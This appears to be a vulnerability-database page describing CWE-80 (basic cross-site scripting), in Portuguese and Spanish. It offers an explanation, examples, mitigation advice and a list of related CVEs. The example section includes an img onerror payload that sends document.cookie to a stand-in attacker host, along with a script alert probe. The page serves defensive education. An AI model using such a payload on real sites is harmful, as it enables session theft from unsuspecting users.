Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-6247MEDIUMWordPress Automatic Plugin - AI content generator and auto poster plugin <= 3.118.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-52563MEDIUMChamilo: Reflected XSS via page parameterEPSS 0.2%CVE-2025-58412MEDIUMA improper neutralization of script-related html tags in a web page (basic xss) vulnerability in Fortinet FortiADC 8.0.0, FortiADC 7.6.0 thrEPSS 0.2%CVE-2025-52654MEDIUMHCL MyXalytics is affected by an HTML InjectionEPSS 0.2%CVE-2026-41575MEDIUMth30d4y/IP: DOM-Based Cross-Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-54348MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2EPSS 0.2%CVE-2026-106163MEDIUMCross-site Scripting (XSS) in Kendo UI for jQuery FileBrowser and ImageBrowserEPSS 0.2%CVE-2026-39425MEDIUMMaxKB: Stored XSS via Unsanitized html_rander Tags in Markdown RenderingEPSS 0.2%CVE-2026-44839MEDIUMRabbitMQ: Unsanitized vhost names allow for XSS in management UIEPSS 0.2%CVE-2026-106147MEDIUMCross-Site Scripting via ListBox Bound Text in Kendo UI for jQueryEPSS 0.2%CVE-2026-106151MEDIUMCross-Site Scripting in Validator Validation Messages in Kendo UI for jQueryEPSS 0.2%CVE-2026-106148MEDIUMCross-Site Scripting via TabStrip, Menu, and PanelBar Image URLs in Kendo UI for jQueryEPSS 0.2%CVE-2025-31992MEDIUMHCL MaxAI Assistant is susceptible to a HTML injection vulnerabilityEPSS 0.2%CVE-2026-106161MEDIUMCross-Site Scripting via Badge Text Binding in Kendo UI for jQueryEPSS 0.2%CVE-2026-106149MEDIUMCross-site Scripting (XSS) in Kendo UI for jQuery MenuEPSS 0.2%CVE-2026-4418MEDIUMIBM Cloud Pak System HTML InjectionEPSS 0.2%CVE-2025-36121MEDIUMHTML Injection Vulnerability in a Specific URL Endpoint of the IBM OpenPages ApplicationEPSS 0.2%CVE-2026-33657MEDIUMEspoCRM: Stored HTML injection in email notifications about stream notes via unescaped post fieldEPSS 0.2%CVE-2026-32891CRITICALAnchorr Privilege Escalation: Jellyseerr User → Anchorr Admin via Stored XSSEPSS 0.2%CVE-2026-42694MEDIUMWordPress Kirki plugin <= 6.4.0 - Content Injection vulnerabilityEPSS 0.2%